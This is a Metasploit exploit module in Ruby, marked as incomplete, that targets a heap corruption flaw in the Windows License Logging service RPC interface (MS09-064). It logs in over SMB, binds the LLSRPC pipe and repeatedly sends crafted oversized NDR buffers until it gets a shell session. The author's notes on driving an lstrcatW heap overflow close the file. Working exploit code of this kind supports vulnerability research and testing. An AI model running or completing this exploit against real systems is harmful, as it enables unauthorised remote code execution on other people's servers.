##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB

	def initialize(info = {})
		super(update_info(info,
			'Name'           => '[INCOMPLETE] Microsoft Windows License Logging Service Heap Corruption',
			'Description'    => %q{
				This module exploits a heap corruption vulnerability in the
			RPC interface to the Microsoft Windows License Logging service.
			},
			'Author'         => [ 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2009-2523'],
					#[ 'OSVDB', '?'],
					[ 'MSB', 'MS09-064'],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00", #\x0a\x0d\x5c\x5f\x2f\x2e\xff",
				},
			'Targets'        =>
				[
					[
						'Windows 2000 Server English',
						{
							'Platform' => 'win',
							'Ret'      => 0x75022ac4 # ws2help - pop/pop/ret
						},
					],
				],
			'DisclosureDate' => 'Dec 11 2007',
			'DefaultTarget' => 0))
	end

	def exploit
		print_status("Trying target #{target.name}...")

		#dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '57674cd0-5200-11ce-a897-08002b2e9c6d', '1.0', 'ncacn_ip_udp')
		#print_status("dport: #{dport}")
		#dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '57674cd0-5200-11ce-a897-08002b2e9c6d', '1.0', 'ncacn_np')
		#dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '342cfd40-3c6c-11ce-a893-08002b2e9c6d', '0.0', 'ncacn_ip_udp')
		#print_status("dport: #{dport}")

		connect
		smb_login
		
		#handle = dcerpc_handle('57674cd0-5200-11ce-a897-08002b2e9c6d', '1.0', 'ncacn_np', ['\LLSSRV'])
		handle = dcerpc_handle('57674cd0-5200-11ce-a897-08002b2e9c6d', '1.0', 'ncacn_np', ['\LLSRPC'])
		#handle = dcerpc_handle('342cfd40-3c6c-11ce-a893-08002b2e9c6d', '0.0', 'ncacn_np', ['\LLSRPC'])

		print_status("Binding to #{handle} ...")
		dcerpc_bind(handle)
		print_status("Bound to #{handle} ...")

		print_status('Sending exploit...')

		req = 0
		loop {

			#service_list = rand_text_alphanumeric(64) + "\x00\x00"
			service_list = "A" * 64
			
			buff = nil
			case req
			when 0
				#len = 4096
				buff = "D" * 1024
				buff << "\\"
				buff << "C" * 1023
				req = 0
			when 1
				len = 2048
				req += 1
			when 2
				len = 2044
				req = 0
			end
			buff = "H" * len if not buff
			#print_status("using length: #{len}")

			stubdata =
				# service list
				#NDR.wstring_prebuilt(service_list) +
				#NDR.long((service_list.length-4)/2) +
				NDR.wstring(service_list) +
				NDR.long(service_list.length-1) +

				NDR.long(rand(0xffffffff)) +
				#NDR.byte(rand(0xff)) + ("\x01" * 3) +
				
				# number before...
				#NDR.long(0xfff0f0ff) +
				NDR.long(0) +

				# sid
				NDR.long(buff.length) +
				NDR.UniConformantArray(buff) +
				
				# num after
				NDR.long(0x01010101)
				#NDR.long(buff.length)

			#stubdata << "F" * 1024

			begin
				response = dcerpc.call(0, stubdata)
				print_status("Reply: " + dcerpc.last_response.stub_data.unpack("H*")[0])
			rescue Rex::Proto::DCERPC::Exceptions::NoResponse
				print_status("No response from the DCERPC service (this is usually a good thing).")
			end

			break if session_created?
		}

		handler
		disconnect
	end

end



=begin

/*
 * IDL code generated by mIDA v1.0.10
 * Copyright (C) 2006, Tenable Network Security
 * http://cgi.tenablesecurity.com/tenable/mida.php
 *
 *
 * Decompilation information:
 * RPC stub type: interpreted / fully interpreted
 */

[
 uuid(57674cd0-5200-11ce-a897-08002b2e9c6d),
 version(1.0)
]

interface mIDA_interface
{

/* opcode: 0x00, address: 0x01012CD7 */
long  _LlsrLicenseRequestW (
 [in][string] wchar_t * arg_2,
 [in] long arg_3,
 [in] char arg_4,
 [in] long arg_5,
 [in] long arg_6,
 [in][size_is(arg_6)] char * arg_7
);

}



jdrake notes:
=============

The mIDA output doesn't appear to acurately match the required
structure for this request. The currently used request format
is based on manual trial-and-error and debugging of the 
unmarshalling.


I am not 100% sure which lstrcatW (or even if it is indeed lstrcatW).
The only lstrcatW I was able to reach is documented below.


The function UserListUpdate has a call to lstrcatW that the current
incomplete module will reach. In order for that to lead to an overflow:

1. The initial lstrlenW() must terminate early. That is, "\x00\x00"
must exist soon after the legit data.

2. The first LocalAlloc (or other heap use) must grab hold of the
memory just after the source buffer, and make it so that there are no
longer any "\x00\x00" (aligned on two-bytes) after the input buffer.
At least, if there is an aligned "\x00\x00", it should be further
along than when the first lstrlenW ran.

3. The lstrcatW will overflow the heap buffer since the stored number
of bytes differs from the actual "lstrlenW" now...



Questions:

What happens if lstrlenW hits the end of the segment?
How can we allocate blocks of memory that won't get freed until we say
so? (soft leak)


=end
